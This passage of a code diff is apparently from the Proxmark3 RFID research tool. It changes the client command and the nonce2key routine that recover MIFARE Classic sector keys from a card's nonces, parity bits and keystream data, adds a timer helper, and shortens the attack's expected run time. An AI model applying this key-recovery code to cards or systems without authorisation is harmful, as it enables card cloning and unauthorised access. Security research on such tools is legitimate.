+	tmp_count = (AT91C_BASE_TC2->TC_CV << 16) | AT91C_BASE_TC0->TC_CV;
+	if ((tmp_count & 0xffff) == 0) { //small chance that we may have missed an increment in TC2
+		return (AT91C_BASE_TC2->TC_CV << 16);
+	} 
+	else {
+		return tmp_count;
+	}
+}

armsrc/util.h

@@ -47,4 +47,7 @@ void StartCountUS();
 uint32_t RAMFUNC GetCountUS();
 uint32_t RAMFUNC GetDeltaCountUS();
 
+void StartCountMifare();
+uint32_t RAMFUNC GetCountMifare();
+
 #endif

client/cmdhfmf.c

@@ -15,18 +15,20 @@ static int CmdHelp(const char *Cmd);
 int CmdHF14AMifare(const char *Cmd)
 {
 	uint32_t uid = 0;
-	uint32_t nt = 0;
+	uint32_t nt = 0, nr = 0;
 	uint64_t par_list = 0, ks_list = 0, r_key = 0;
 	uint8_t isOK = 0;
 	uint8_t keyBlock[8] = {0};
 
-	if (param_getchar(Cmd, 0) && param_gethex(Cmd, 0, keyBlock, 8)) {
+	UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};
-		PrintAndLog("Nt must include 8 HEX symbols");
+
-		return 1;
+	// message
-	}
+	printf("-------------------------------------------------------------------------\n");
+	printf("Executing command. Expected execution time: 25sec on average  :-)\n");
+	printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");
+	printf("-------------------------------------------------------------------------\n");
 
 	
-	UsbCommand c = {CMD_READER_MIFARE, {(uint32_t)bytes_to_num(keyBlock, 4), 0, 0}};
 start:
     clearCommandBuffer();
     SendCommand(&c);
@@ -34,15 +36,10 @@ start:
 	//flush queue
 	while (ukbhit())	getchar();
 
-	// message
-	printf("-------------------------------------------------------------------------\n");
-	printf("Executing command. It may take up to 30 min.\n");
-	printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");
-	printf("-------------------------------------------------------------------------\n");
 	
 	// wait cycle
 	while (true) {
-        //printf(".");
+        printf(".");
 		fflush(stdout);
 		if (ukbhit()) {
 			getchar();
@@ -51,27 +48,26 @@ start:
 		}
 		
 		UsbCommand resp;
-		if (WaitForResponseTimeout(CMD_ACK,&resp,2000)) {
+		if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) {
 			isOK  = resp.arg[0] & 0xff;
-	
 			uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);
 			nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);
 			par_list = bytes_to_num(resp.d.asBytes +  8, 8);
 			ks_list = bytes_to_num(resp.d.asBytes +  16, 8);
-	
+			nr = bytes_to_num(resp.d.asBytes + 24, 4);
 			printf("\n\n");
-			PrintAndLog("isOk:%02x", isOK);
 			if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n");
 			break;
 		}
 	}	
+
 	printf("\n");
 	
 	// error
 	if (isOK != 1) return 1;
 	
 	// execute original function from util nonce2key
-	if (nonce2key(uid, nt, par_list, ks_list, &r_key))
+	if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key))
 	{
 		isOK = 2;
 		PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);	
@@ -86,8 +82,9 @@ start:
 		PrintAndLog("Found valid key:%012"llx, r_key);
 	else
 	{
-		if (isOK != 2) PrintAndLog("Found invalid key. ( Nt=%08x ,Trying use it to run again...", nt);	
+		if (isOK != 2) PrintAndLog("Found invalid key. ");	
-		c.arg[0] = nt;
+		PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
+		c.arg[0] = false;
 		goto start;
 	}
 	

client/nonce2key/nonce2key.c

@@ -17,12 +17,12 @@
 #include "nonce2key.h"
 #include "ui.h"
 
-int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
+int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
   struct Crypto1State *state, *state_s;
-  uint32_t pos, nr, rr, nr_diff;//, ks1, ks2;
+  uint32_t pos, rr, nr_diff;//, ks1, ks2;
   byte_t bt, i, ks3x[8], par[8][8];
   uint64_t key_recovered;
-  nr = rr = 0;
+  rr = 0;
   
   // Reset the last three significant bits of the reader nonce
   nr &= 0xffffff1f;

client/nonce2key/nonce2key.h

@@ -18,6 +18,6 @@
 #include "crapto1.h"
 #include "common.h"
 
-int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
+int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key); 
 
 #endif